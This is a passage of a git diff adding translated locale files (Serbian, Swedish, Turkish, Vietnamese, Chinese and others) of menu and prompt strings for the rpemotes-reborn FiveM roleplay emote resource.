~y~G~w~ për të stërshpërndarë shampanjë", + ['stun'] = "Shtyp ~y~G~w~ për të 'përdorur' armën qetësuese.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Shtyp ~y~G~w~ për të vape.", + ['boundto'] = "I lidhur (~y~%s~w~) me ~g~%s~w~", + ['currentlyboundemotes'] = " Emotet momentalisht të lidhura:", + ['notvalidkey'] = "nuk është një çelës i vlefshëm.", + ['keybinds'] = "🔢 Çelësat", + ['keybindsinfo'] = "Përdor", + ['searchemotes'] = "~h~~y~ 🔍 Kërko Emote", + ['searchinputtitle'] = "Kërko:", + ['searchmenudesc'] = "rezultat(e) për", + ['searchnoresult'] = "Asnjë rezultat për kërkimin", + ['searchshifttofav'] = "Mbaj Shift të majtë dhe shtyp enter për ta caktuar si të preferuar.", + ['searchcantsetfav'] = "Emotet e ndara nuk mund të caktohen si të preferuara.", + ['invalidvariation'] = "Variacioni i teksturës i pavlefshëm. Zgjedhjet e vlefshme janë: %s", + ['firework'] = "Shtyp ~y~G~w~ për të përdorur fenerin", + ['poop'] = "Shtyp ~y~G~w~ për të bërë që të defekosh", + ['puke'] = "Shtyp ~y~G~w~ për të vjellë", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Zgjidh", + ['btn_back'] = "Prapa", + ['btn_switch'] = "Lëvizje", + ['btn_increment'] = "Rrit", + ['dead'] = "Nuk mund të përdorësh emotet kur je i vdekur!", + ['swimming'] = "Nuk mund të përdorësh emotet gjatë notit", + ['notvalidpet'] = "RUH ROH! U zbulua një model ped i gabuar 🐕!", + ['animaldisabled'] = "Na vjen keq! Emotet e kafshëve janë të çaktivizuara në këtë server", + ['adultemotedisabled'] = "Bonk! Emotet e rritura janë të çaktivizuara 🔞", + ['toggle_instructions'] = "Aktivizo/inaktivizo udhëzimet", + ['exit_binoculars'] = "Dalje nga binokularët", + ['toggle_binoculars_vision'] = "Ndërro mes mënyrave të shikimit", + ['exit_news'] = "Dalje nga kamera e lajmeve", + ['toggle_news_vision'] = "Ndërro mes mënyrave të shikimit", + ['edit_values_newscam'] = "Ndrysho tekstin e lajmeve", + ['not_in_a_vehicle'] = "Nuk mund të luash këtë animacion në këndin e një mjete", + ['in_a_vehicle'] = "Mund të luash këtë animacion vetëm në këndin e një mjete 🚷", + ['no_anim_crawling'] = "Nuk mund të luash animacione ndërsa shtrihesh", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/sr.lua b/resources/rpemotesreborn1.6.0/locales/sr.lua new file mode 100644 index 000000000..db380ef81 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/sr.lua @@ -0,0 +1,82 @@ +Locales['sr'] = { + -- Serbian + ['emotes'] = 'Animacije 🎬', + ['danceemotes'] = "🕺 Plesovi", + ['animalemotes'] = "🐩 Životinjske Animacije", + ['propemotes'] = "📦 Animacije Sa Predmetima", + ['favoriteemotes'] = "🌟 Omiljeno", + ['favoriteinfo'] = "Izaberite animaciju ovdje da je stavite kao omiljenu", + ['rfavorite'] = "Resetuj omiljeno", + ['prop2info'] = "❓ Animacije sa predmetima se mogu naći na kraju", + ['set'] = "Postavi (", + ['setboundemote'] = ") da bude tvoji bound-ana animacija?", + ['newsetemote'] = "~w~ je sada tvoja bound-ana animacija, pritisni ~g~CapsLock~w~ da je uradiš.", + ['cancelemote'] = "Prekini Animaciju 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Prekine animaciju koju trenutno radiš", + ['walkingstyles'] = "Stilovi Hodanja 🚶🏻‍♂️", + ['resetdef'] = "Restartuj na podrazumevano", + ['normalreset'] = "Normalan (Reset)", + ['moods'] = "Raspoloženja 😒", + ['infoupdate'] = "Zasluge i Sugestije 🙏🏻", + ['infoupdateav'] = "Informacija (Ažuriranje Dostupno)", + ['infoupdateavtext'] = "Ažuriranje je dostupno, skini zadnju verziju sa ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Sugestije?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ na FiveM forumima za bilo koje sugestije za funkcije/animacije! ✉️", + ['notvaliddance'] = "nije validan ples.", + ['notvalidemote'] = "nije validna animacija.", + ['nocancel'] = "Ne radite animaciju.", + ['maleonly'] = "Izvini, ova animacija je samo za muškarce!", + ['emotemenucmd'] = "Koristi komandu /emotemenu da otvoris meni animacija.", + ['shareemotes'] = "👫 Društvene Animacije", + ['shareemotesinfo'] = "Pozovite obliznju osobu na animaciju", + ['sharedanceemotes'] = "🕺 Društveni Plesovi", + ['notvalidsharedemote'] = "nije validna društvena animacija.", + ['sentrequestto'] = "Zahtjev je poslat ~y~", + ['nobodyclose'] = "Niko ~r~close~w~ dovoljno.", + ['doyouwanna'] = "~y~Y~w~ da prihvatiš, ~r~L~w~ da odbiješ (~g~", + ['refuseemote'] = "Animacija odbijena.", + ['makenearby'] = "Natera bliskog igrača da igra", + ['useleafblower'] = "Pritisni ~y~G~w~ da koristiš puhač lišća.", + ['camera'] = "Pritisni ~y~G~w~ da koristiš blic kamere.", + ['makeitrain'] = "Pritisni ~y~G~w~ da napraviš da kiša pada.", + ['pee'] = "Drži ~y~G~w~ da pišaš.", + ['spraychamp'] = "Drži ~y~G~w~ da pršćeš šampanjac", + ['stun'] = "Pritisni ~y~G~w~ da 'koristiš' tejzer.", + ['vape'] = "Pritisni ~y~G~w~ da vejpuješ.", + ['boundto'] = "Bound-ano (~y~%s~w~) na ~g~%s~w~", + ['currentlyboundemotes'] = " Trenutne bound-ane animacije:", + ['notvalidkey'] = "nije validan ključ.", + ['keybinds'] = "🔢 Keybind-ovi", + ['keybindsinfo'] = "Koristi", + ['searchemotes'] = "🔍 Pretraži animacije", + ['searchinputtitle'] = "Pretraži:", + ['searchmenudesc'] = "rezultat(a) za", + ['searchnoresult'] = "Nema rezultata za pretraživanje", + ['searchshifttofav'] = "Drži L-Shift i pritisni Enter da staviš kao tvoje omiljeno.", + ['searchcantsetfav'] = "Društvene Animacije ne mogu biti omiljene.", + ['invalidvariation'] = "Nevažeća varijacija teksture. Važeće selekcije su: %s", + ['firework'] = "Pritisni ~y~G~w~ da koristiš vatromet", + ['poop'] = "Pritisni ~y~G~w~ da kakiš", + ['puke'] = "Pritisni ~y~G~w~ da povratiš", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Izaberi", + ['btn_back'] = "Nazad", + ['btn_switch'] = "Kretanje", + ['btn_increment'] = "Inkrement", + ['dead'] = "Ne možeš koristiti animacije dok si mrtav!", + ['swimming'] = "Ne možeš koristiti animacije dok plivaš", + ['notvalidpet'] = "AV AV! Detektovan je netačan model (Ped) 🐕!", + ['animaldisabled'] = "Izvini! Životinjske animacije su ugašene na ovom serveru", + ['adultemotedisabled'] = "Ups! Odrasle animacije su ugašene 🔞", + ['toggle_instructions'] = "Uključi/Isključi instrukcije", + ['exit_binoculars'] = "Izađi iz dvogleda", + ['toggle_binoculars_vision'] = "Prebaci između režima vida", + ['exit_news'] = "Izađi iz kamere za vesti", + ['toggle_news_vision'] = "Prebaci između režima vida", + ['edit_values_newscam'] = "Mjenjaj tekst vesti", + ['not_in_a_vehicle'] = "Ne možeš raditi ovu animaciju dok si u vozilu", + ['in_a_vehicle'] = "Ovu animaciju možeš raditi samo dok si u vozilu 🚷", + ['no_anim_crawling'] = "Ne možeš raditi animacije dok pužeš", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/sv.lua b/resources/rpemotesreborn1.6.0/locales/sv.lua new file mode 100644 index 000000000..c00f1b420 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/sv.lua @@ -0,0 +1,83 @@ +Locales['sv'] = { + -- Swedish 🇸🇪 + ['emotes'] = "~h~~p~ Emotes 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Dans Emotes", + ['animalemotes'] = "~h~~p~ 🐩 Djur Emotes", + ['propemotes'] = "~h~~p~ 📦 Objekt Emotes", + ['favoriteemotes'] = "~h~~y~ 🌟 Favorit", + ['favoriteinfo'] = "Välj en emote för att ställa in den som din favorit.", + ['rfavorite'] = "Återställ favorit.", + ['prop2info'] = "❓ Objekt Emotes finns längst ner i listan.", + ['set'] = "Sätt (", + ['setboundemote'] = ") till din favorit emote?", + ['newsetemote'] = "~w~ är nu din favorit emote, tryck ~g~CapsLock~w~ för att använda den.", + ['cancelemote'] = "~h~~r~ Avbryt Emote 🚷", + ['cancelemoteinfo'] = "~r~X~w~ avbryter nuvarande spelande emote.", + ['walkingstyles'] = "~h~~p~ Gångstil 🚶🏻‍♂️", + ['resetdef'] = "Återställ till standard", + ['normalreset'] = "~h~~r~ Normal (Återställ)", + ['moods'] = "~h~~p~ Humör 😒", + ['infoupdate'] = "~h~~g~ Krediter 🤝🏻", + ['infoupdateav'] = "Information (Uppdatering tillgänglig)", + ['infoupdateavtext'] = "En uppdatering är tillgänglig ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Förslag?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ på FiveM-forum för förslag på funktioner/emotes! ✉️", + ['notvaliddance'] = "är inte en giltig dans", + ['notvalidemote'] = "är inte en giltig emote", + ['nocancel'] = "Ingen emote att avbryta", + ['maleonly'] = "Den här emoten är endast för män.", + ['emotemenucmd'] = "Använd /emotemenu för att öppna animationsmenyn", + ['shareemotes'] = "👫 Delade Emotes", + ['shareemotesinfo'] = "Bjud in en närliggande person till en emote", + ['sharedanceemotes'] = "🕺 Delade Danser", + ['notvalidsharedemote'] = "är inte en giltig delad emote.", + ['sentrequestto'] = "Skickad förfrågan till ~g~", + ['nobodyclose'] = "Ingen ~r~närliggande~w~ person hittades.", + ['doyouwanna'] = "~y~Y~w~ för att acceptera, ~r~L~w~ för att avböja (~g~", + ['refuseemote'] = "Emote avvisats.", + ['makenearby'] = "får spelaren i närheten att spela", + ['useleafblower'] = "Tryck ~y~G~w~ för att blåsa.", + ['camera'] = "Tryck ~y~G~w~ för att använda kamera blixt.", + ['makeitrain'] = "Tryck ~y~G~w~ för att låta det regna pengar.", + ['pee'] = "Håll ~y~G~w~ att kissa.", + ['spraychamp'] = "Håll ~y~G~w~ för att spraya champagne.", + ['stun'] = "Tryck ~y~G~w~ för att \"änvända\" elpistol", + ['vape'] = "Tryck ~y~G~w~ för att puffa på din vape.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['boundto'] = "Bunden (~y~%s~w~) till ~g~%s~w~", + ['currentlyboundemotes'] = " För närvarande bundna emotes:", + ['notvalidkey'] = "är inte en giltig tangent.", + ['keybinds'] = "🔢 Keybinds", + ['keybindsinfo'] = "Använd", + ['searchemotes'] = "~h~~y~ 🔍 Sök Emotes", + ['searchinputtitle'] = "Sök:", + ['searchmenudesc'] = "resultat på", + ['searchnoresult'] = "Inga resultat hittades på", + ['searchshifttofav'] = "Håll ned L-Shift och tryck på enter för att ställa in som favorit.", + ['searchcantsetfav'] = "Delade Emotes kan inte ställas in som favoriter.", + ['invalidvariation'] = "Ogiltig texturvariation. Giltiga val är: %s", + ['firework'] = "Tryck ~y~G~w~ för att avfyra dina fyrverkerier", + ['poop'] = "Tryck ~y~G~w~ för att bajsa", -- Translated using smodin.io + ['puke'] = "Tryck ~y~G~w~ För att Spy", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Välj", + ['btn_back'] = "Tillbaka", + ['btn_switch'] = "Rörelse", + ['btn_increment'] = "Increment", + ['dead'] = "Du kan inte använda animationer när du är död!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "RUH ROH! Felaktig ped-model hittad! 🐕", + ['animaldisabled'] = "Tyvärr! Djuremotes är inaktiverade på denna server", + ['adultemotedisabled'] = "Bonk! Vuxna emotes inaktiverade 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Avsluta kikare", + ['toggle_binoculars_vision'] = "Växla mellan synlägen", + ['exit_news'] = "Avsluta nyhetskamera", + ['toggle_news_vision'] = "Växla mellan visionlägen", + ['edit_values_newscam'] = "Redigera nyhetstexten", + ['not_in_a_vehicle'] = "Du kan inte använda den här animationen när du är i ett fordon", + ['in_a_vehicle'] = "Du kan bara använda den här animationen när du är i ett fordon", + ['no_anim_crawling'] = "Du kan inte andända animationer när du säker genom", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/tr.lua b/resources/rpemotesreborn1.6.0/locales/tr.lua new file mode 100644 index 000000000..068a3e53a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/tr.lua @@ -0,0 +1,83 @@ +Locales['tr'] = { + -- Turkish 🇹🇷 + ['emotes'] = " ~h~~p~ Animasyonlar 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Dans Animasyonları", + ['animalemotes'] = "~h~~p~ 🐩 Hayvan'lı Animasyonları", + ['propemotes'] = "~h~~p~ 📦 Eşyalı Animasyonlar", + ['favoriteemotes'] = "~h~~y~ 🌟 Favoriler", + ['favoriteinfo'] = "Favoriniz olarak ayarlamak için bir animasyon seçin.", + ['rfavorite'] = "Favoriyi sıfırla", + ['prop2info'] = "❓ Favoriyi sıfırla", + ['set'] = "Favori (", + ['setboundemote'] = ") olarak ayarlandı!", + ['newsetemote'] = "~w~ animasyonunu atadın, kullanmak için ~g~CapsLock~w~ tuşlarına basın.", + ['cancelemote'] = "~h~~r~ Animasyonu Durdur 🚷", + ['cancelemoteinfo'] = "~r~X~w~ Aktif animasyonu durdurur.", + ['walkingstyles'] = "~h~~p~ Yürüyüş Stilleri 🚶🏻‍♂️", + ['resetdef'] = "Varsayılana sıfırla", + ['normalreset'] = "~h~~r~ Normal (Sıfırla)", + ['moods'] = "~h~~p~ Ruh Halleri 😒", + ['infoupdate'] = "~h~~g~ Credits 🤝🏻", + ['infoupdateav'] = "Bilgi (Güncelleme mevcut)", + ['infoupdateavtext'] = "Bir güncelleme mevcuttur, en son sürümü şu adresten edinin ~y~https://github.com/alberttheprince/rpemotes-reborn~w~", + ['suggestions'] = "Öneriler?", + ['suggestionsinfo'] = "~r~Noor_Nahas~s~ on FiveM forums for any feature/emote suggestions! ✉️", + ['notvaliddance'] = "geçerli bir dans komutu değildir.", + ['notvalidemote'] = "geçerli bir ifade komutu değildir.", + ['nocancel'] = "İptal edilecek animasyon yok.", + ['maleonly'] = "Bu animasyon sadece erkeklere özeldir, üzgünüm!", + ['emotemenucmd'] = "Animasyonlar menüsünü açmak için /emotemenu komutunu kullanın.", + ['shareemotes'] = "~h~~p~ 👫 Karşılıklı Animasyonlar", + ['shareemotesinfo'] = "Yakınındaki kişiye karşılıllı animasyon isteği gönderdin", + ['sharedanceemotes'] = "~h~~p~ 🕺 Karşılıklı Danslar Danslar", + ['notvalidsharedemote'] = "geçerli bir animasyon değil.", + ['sentrequestto'] = "İstek gönderildi ~y~", + ['nobodyclose'] = "Oyuncu ~r~yakın~w~ değil.", + ['doyouwanna'] = "~y~Y~w~ Kabul et, ~r~L~w~ Reddet (~g~", + ['refuseemote'] = "Animasyon reddedildi.", + ['makenearby'] = "yakındaki oyuncunun oynamasını sağlar", + ['useleafblower'] = "Yaprak üfleyiciyi kullanmak için ~y~G~w~ tuşuna basın.", + ['camera'] = "Kamera flaşını kullanmak için ~y~G~w~ tuşuna basın.", + ['makeitrain'] = "Şemsiyeyi açmak için ~y~G~w~ tuşuna basın.", + ['pee'] = "İşemek için ~y~G~w~ tuşuna basılı tutun.", + ['spraychamp'] = "Şampanya püskürtmek için ~y~G~w~ tuşunu basılı tutun", + ['stun'] = "Şok tabancasını 'kullanmak' için ~y~G~w~ tuşlarına basın.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Kullanmak için ~y~G~w~ tuşlarına basın.", + ['boundto'] = "Bound (~y~%s~w~) to ~g~%s~w~", + ['currentlyboundemotes'] = " Atanan animasyon:", + ['notvalidkey'] = "geçerli bir tuş değil", + ['keybinds'] = "🔢 Tuş Atamaları", + ['keybindsinfo'] = "Kullan", + ['searchemotes'] = "~h~~y~ 🔍 Animasyonları Arayın", + ['searchinputtitle'] = "Arama:", + ['searchmenudesc'] = "için sonuç(lar)", + ['searchnoresult'] = "Arama sonucu bulunamadı.", + ['searchshifttofav'] = "Favori olarak ayarlamak için L-Shift tuşunu basılı tutun ve enter tuşuna basın.", + ['searchcantsetfav'] = "Karşılıklı animasyonlar favori olarak ayarlanamaz.", + ['invalidvariation'] = "Geçersiz doku varyasyonu. Geçerli seçimler şunlardır: %s", + ['firework'] = "Havai fişeği kullanmak için ~y~G~w~ tuşlarına basın", + ['poop'] = "Kaka yapmak için ~y~G~w~ tuşlarına basın", + ['puke'] = "Kusmak için ~y~G~w~ tuşlarına basın", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Seç", + ['btn_back'] = "Geri", + ['btn_switch'] = "Hareket Et", + ['btn_increment'] = "Menü Atlama Değeri", + ['dead'] = "Ölüyken animasyon kullanmazsın!", + ['swimming'] = "Yüzerken animasyon kullanamazsın", + ['notvalidpet'] = "RUH ROH! Ped Modeli Doğru Değil 🐕!", + ['animaldisabled'] = "Üzgünüz! Hayvan animasyonları bu sunucuda devre dışı", + ['adultemotedisabled'] = "Ahhh! +18 Animasyonlar devre dışı 🔞", + ['toggle_instructions'] = "Toggle the instructions", + ['exit_binoculars'] = "Dürbünü Bırak", + ['toggle_binoculars_vision'] = "Görüş modları arasında geçiş yap", + ['exit_news'] = "Kamerayı Bırak", + ['toggle_news_vision'] = "Görüş modları arasında geçiş yap", + ['edit_values_newscam'] = "Haber yazısını değiştir", + ['not_in_a_vehicle'] = "Bu animasyonu araç içindeyken kullanamazsın", + ['in_a_vehicle'] = "Bu animasyonu sadece araç içinde kullanabilirsin 🚷", + ['no_anim_crawling'] = "Sürünürken bu animasyonu kullanamazsın", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/vi.lua b/resources/rpemotesreborn1.6.0/locales/vi.lua new file mode 100644 index 000000000..214554e5b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/vi.lua @@ -0,0 +1,83 @@ +Locales['vi'] = { + -- Tiếng việt + ['emotes'] = "~h~~p~ Hành động 🎬", + ['danceemotes'] = "~h~~p~ 🕺 Nhảy nhót", + ['animalemotes'] = "~h~~p~ 🐩 Thú cưng", + ['propemotes'] = "~h~~p~ 📦 Đồ vật", + ['favoriteemotes'] = "~h~~y~ 🌟 Ưa thích", + ['favoriteinfo'] = "Hãy chọn 1 hành động và đưa vào mục ưa thích.", + ['rfavorite'] = "Xóa toàn bộ Ưa thích", + ['prop2info'] = "❓ Hành động liên quan đến đồ vật sẽ ở cuối.", + ['set'] = "Đặt (", + ['setboundemote'] = ") Làm hành động ưa thích?", + ['newsetemote'] = "~w~ đã được đặt, Bấm ~g~CapsLock~w~ để sử dụng.", + ['cancelemote'] = "~h~~r~ Hủy hành động 🚷", + ['cancelemoteinfo'] = "~r~X~w~ để hủy hành động", + ['walkingstyles'] = "~h~~p~ Dáng đi 🚶🏻‍♂️", + ['resetdef'] = "Đặt về mặc định", + ['normalreset'] = "~h~~r~ Bình thường (Mặc định)", + ['moods'] = "~h~~p~ Biểu cảm 😒", + ['infoupdate'] = "~h~~g~ Thông tin 🤝🏻", + ['infoupdateav'] = "Thông tin (cập nhật)", + ['infoupdateavtext'] = "Đang cập nhật", + ['suggestions'] = "Đề xuất?", + ['suggestionsinfo'] = "~r~RDCodename~s~ Trong diễn đàn tìm thấy bất kỳ đề xuất tài nguyên/emote nào! ✉️", + ['notvaliddance'] = "Không khả dụng.", + ['notvalidemote'] = "Không khả dụng.", + ['nocancel'] = "Không có hành động để hủy.", + ['maleonly'] = "Hành động chỉ dành cho nhân vật Nam.", + ['emotemenucmd'] = "Sử dụng lệnh /emotemenu để mở danh mục hành động.", + ['shareemotes'] = "~h~~p~ 👫 Hành động chung", + ['shareemotesinfo'] = "Mời người ở gần tham gia hành động.", + ['sharedanceemotes'] = "~h~~p~ 🕺 Nhảy nhót chung", + ['notvalidsharedemote'] = "không khả dụng.", + ['sentrequestto'] = "Đã gửi yêu cầu tới ~y~", + ['nobodyclose'] = "Không có ai ~r~ở gần~w~.", + ['doyouwanna'] = "~y~Y~w~ Đồng ý, ~r~L~w~ Từ chối (~g~", + ['refuseemote'] = "Từ chối hành dộng", + ['makenearby'] = "mời người ở gần cùng hành động", + ['useleafblower'] = "Nhấn ~y~G~w~ để sử dụng máy thổi lá", + ['camera'] = "Nhấn ~y~G~w~ để sử dụng đèn flash", + ['makeitrain'] = "Nhấn ~y~G~w~ để làm cho trời mưa.", + ['pee'] = "Tiếp tục nhấn ~y~G~w~ đi tiểu.", + ['spraychamp'] = "Tiếp tục nhấn ~y~G~w~ để súc rượu sâm banh", + ['stun'] = "Nhấn ~y~G~w~ Để 'sử dụng' súng gây choáng.", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "Nhấn ~y~G~w~ để sử dụng thuốc lá điện tử.", + ['boundto'] = "Đặt (~y~%s~w~) thành ~g~%s~w~", + ['currentlyboundemotes'] = "Hành động đã gắn: ", + ['notvalidkey'] = "không khả dụng.", + ['keybinds'] = "🔢 Phím tắt", + ['keybindsinfo'] = "Sử dụng", + ['searchemotes'] = "~h~~y~ 🔍 Tìm kiếm hành động", + ['searchinputtitle'] = "Tìm kiếm:", + ['searchmenudesc'] = "Kết quả cho", + ['searchnoresult'] = "Không có kết quả", + ['searchshifttofav'] = "Giữ l-shift và nhấn enter để đặt làm hành động yêu thích.", + ['searchcantsetfav'] = "ác biểu tượng được chia sẻ không thể được đặt làm mục yêu thích.", + ['invalidvariation'] = "Biến thể kết cấu không hợp lệ.Các lựa chọn hợp lệ là: %s", + ['firework'] = "Nhấn ~y~G~w~ Để sử dụng pháo hoa", + ['poop'] = "Nhấn ~y~G~w~ để ị", -- Translated using smodin.io + ['puke'] = "Nhấn ~y~G~w~ để nôn", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "Chọn", + ['btn_back'] = "Trở lại", + ['btn_switch'] = "Chuyển động", + ['btn_increment'] = "Tăng", + ['dead'] = "Bạn không thể sử dụng hành động khi bất tỉnh!", + ['swimming'] = "You can't use emotes while swimming", + ['notvalidpet'] = "Ruh Roh!Mô hình PED không chính xác được phát hiện 🐕!", + ['animaldisabled'] = "Lấy làm tiếc!Các biểu cảm động vật bị vô hiệu hóa trên máy chủ này", + ['adultemotedisabled'] = "Bonk!Emotes người lớn bị vô hiệu hóa 🔞", + ['toggle_instructions'] = "Chuyển đổi các hướng dẫn", + ['exit_binoculars'] = "Thoát ống nhòm", + ['toggle_binoculars_vision'] = "Chuyển đổi giữa các chế độ tầm nhìn", + ['exit_news'] = "Thoát khỏi camera tin tức", + ['toggle_news_vision'] = "Chuyển đổi giữa các chế độ tầm nhìn", + ['edit_values_newscam'] = "Chỉnh sửa văn bản tin tức", + ['not_in_a_vehicle'] = "Bạn không thể hành động này khi đang ở trong xe", + ['in_a_vehicle'] = "Bạn chỉ có thể hành động này khi ở trong xe 🚷", + ['no_anim_crawling'] = "Bạn không thể chơi hình ảnh động trong khi bò", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/zhcn.lua b/resources/rpemotesreborn1.6.0/locales/zhcn.lua new file mode 100644 index 000000000..586b5d996 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/zhcn.lua @@ -0,0 +1,83 @@ +Locales['zhcn'] = { + -- Chinese simplified + ['emotes'] = "~h~~p~ 动作 🎬", + ['danceemotes'] = "~h~~p~ 🕺 舞蹈动作", + ['animalemotes'] = "~h~~p~ 🐩 动物动作", + ['propemotes'] = "~h~~p~ 📦 物品动作", + ['favoriteemotes'] = "~h~~y~ 🌟 收藏", + ['favoriteinfo'] = "在此处选择一个动作并将其设为收藏。", + ['rfavorite'] = "重置收藏", + ['prop2info'] = "❓ 物品动作在最后面", + ['set'] = "设置 (", + ['setboundemote'] = ") 为绑定动作?", + ['newsetemote'] = "~w~ 已设置为你的绑定动作,按 ~g~CapsLock~w~ 使用。", + ['cancelemote'] = "~h~~r~ 取消动作 🚷", + ['cancelemoteinfo'] = "~r~X~w~ 取消当前动作", + ['walkingstyles'] = "~h~~p~ 行走风格 🚶🏻‍♂️", + ['resetdef'] = "重置为默认", + ['normalreset'] = "~h~~r~ 正常 (重置)", + ['moods'] = "~h~~p~ 情绪 😒", + ['infoupdate'] = "致谢 🤝🏻", + ['infoupdateav'] = "信息 (有更新)", + ['infoupdateavtext'] = "已有新版本可用,请前往 ~y~https://github.com/alberttheprince/rpemotes-reborn~w~ 获取最新版。", + ['suggestions'] = "想提出建议?", + ['suggestionsinfo'] = "请在 FiveM 论坛上联系 ~r~Noor_Nahas~s~ 提出功能 / 动作建议! ✉️", + ['notvaliddance'] = "不是有效的舞蹈动作。", + ['notvalidemote'] = "不是有效的动作。", + ['nocancel'] = "没有要取消的动作。", + ['maleonly'] = "抱歉,此动作仅适用于男性!", + ['emotemenucmd'] = "使用命令 /emotemenu 打开动作菜单。", + ['shareemotes'] = "~h~~p~ 👫 共享动作", + ['shareemotesinfo'] = "邀请附近的人动作", + ['sharedanceemotes'] = "~h~~p~ 🕺 共享舞蹈动作", + ['notvalidsharedemote'] = "不是有效的共享动作。", + ['sentrequestto'] = "已向此人发送请求 ~y~", + ['nobodyclose'] = "没有人 ~r~靠近~w~。", + ['doyouwanna'] = "按 ~y~Y~w~ 接受,按 ~r~L~w~ 拒绝 (~g~", + ['refuseemote'] = "已拒绝动作。", + ['makenearby'] = "让附近的玩家播放", + ['useleafblower'] = "按 ~y~G~w~ 使用吹叶机。", + ['camera'] = "按 ~y~G~w~ 使用闪光灯。", + ['makeitrain'] = "按 ~y~G~w~ 撒出。", + ['pee'] = "按住 ~y~G~w~ 尿尿。", + ['spraychamp'] = "按住 ~y~G~w~ 喷洒香槟", + ['stun'] = "按 ~y~G~w~ '使用' 麻醉枪。", + ['smoke'] = "Press ~y~G~w~ to smoke.", + ['vape'] = "按 ~y~G~w~ 使用电子烟。", + ['boundto'] = "绑定 (~y~%s~w~) 到 ~g~%s~w~", + ['currentlyboundemotes'] = " 当前绑定的动作:", + ['notvalidkey'] = "不是有效的按键。", + ['keybinds'] = "🔢 按键设置", + ['keybindsinfo'] = "使用", + ['searchemotes'] = "~h~~y~ 🔍 搜索动作", + ['searchinputtitle'] = "搜索:", + ['searchmenudesc'] = " 有 %s 个结果:", + ['searchnoresult'] = " 没有搜索结果。", + ['searchshifttofav'] = "按住 L-Shift 并按回车键设置为收藏。", + ['searchcantsetfav'] = "共享动作无法设置为收藏。", + ['invalidvariation'] = "纹理颜色无效。有效选择为: %s", + ['firework'] = "按 ~y~G~w~ 放烟花", + ['poop'] = "按 ~y~G~w~ 排便", + ['puke'] = "按 ~y~G~w~ 呕吐", + ['cut'] = "Press ~y~G~w~ to cut", + ['btn_select'] = "选择", + ['btn_back'] = "返回", + ['btn_switch'] = "移动", + ['btn_increment'] = "移动量", + ['dead'] = "您无法在死亡状态下使用此动作!", + ['swimming'] = "您无法在游泳状态下使用此动作!", + ['notvalidpet'] = "哦豁!检测到非有效的动物皮肤 🐕!", + ['animaldisabled'] = "抱歉!动物动作在本服务器上已禁用", + ['adultemotedisabled'] = "不许色色!成人动作已禁用 🔞", + ['toggle_instructions'] = "切换操作说明显示", + ['exit_binoculars'] = "退出望远镜", + ['toggle_binoculars_vision'] = "切换视角模式", + ['exit_news'] = "退出新闻镜头", + ['toggle_news_vision'] = "切换画面叠加层", + ['edit_values_newscam'] = "更改新闻说明文字", + ['not_in_a_vehicle'] = "您无法在载具中使用此动作", + ['in_a_vehicle'] = "您只能在载具中使用此动作 🚷", + ['no_anim_crawling'] = "您无法在爬行时使用此动作", + ['no_anim_right_now'] = "You can't play an animation right now", + +} diff --git a/resources/rpemotesreborn1.6.0/locales/zhtw.lua b/resources/rpemotesreborn1.6.0/locales/zhtw.lua new file mode 100644 index 000000000..130594339 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/locales/zhtw.lua @@ -0,0 +1,83 @@ +Locales['zhtw'] = { + -- Chinese Traditional + ['emotes'] = "~h~~p~ 動作 🎬", + ['danceemotes'] = "~h~~p~ 🕺 舞蹈動作", + ['animalemotes'] = "~h~~p~ 🐩 動物動作", + ['propemotes'] = "~h~~p~ 📦 物品動作", + ['favoriteemotes'] = "~h~~y~ 🌟 收藏", + ['favoriteinfo'] = "在此處選擇壹個動作並將其設為收藏。", + ['rfavorite'] = "重置收藏", + ['prop2info'] = "❓ 物品動作在最後面", + ['set'] = "設置 (", + ['setboundemote'] = ") 為綁定動作?", + ['newsetemote'] = "~w~ 已設置為妳的綁定動作,按 ~g~CapsLock~w~ 使用。", + ['cancelemote'] = "~h~~r~ 取消動作 🚷", + ['cancelemoteinfo'] = "~r~X~w~ 取消當前動作", + ['walkingstyles'] = "~h~~p~ 行走風格 🚶🏻‍♂️", + ['resetdef'] = "重置為默認", + ['normalreset'] = "~h~~r~ 正常 (重置)", + ['moods'] = "~h~~p~ 情緒 😒", + ['infoupdate'] = "致謝 🤝🏻", + ['infoupdateav'] = "信息 (有更新)", + ['infoupdateavtext'] = "已有新版本可用,請前往 ~y~https://github.com/alberttheprince/rpemotes-reborn~w~ 獲取最新版。", + ['suggestions'] = "想提出建議?", + ['suggestionsinfo'] = "請在 FiveM 論壇上聯系 ~r~Noor_Nahas~s~ 提出功能 / 動作建議! ✉️", + ['notvaliddance'] = "不是有效的舞蹈動作。", + ['notvalidemote'] = "不是有效的動作。", + ['nocancel'] 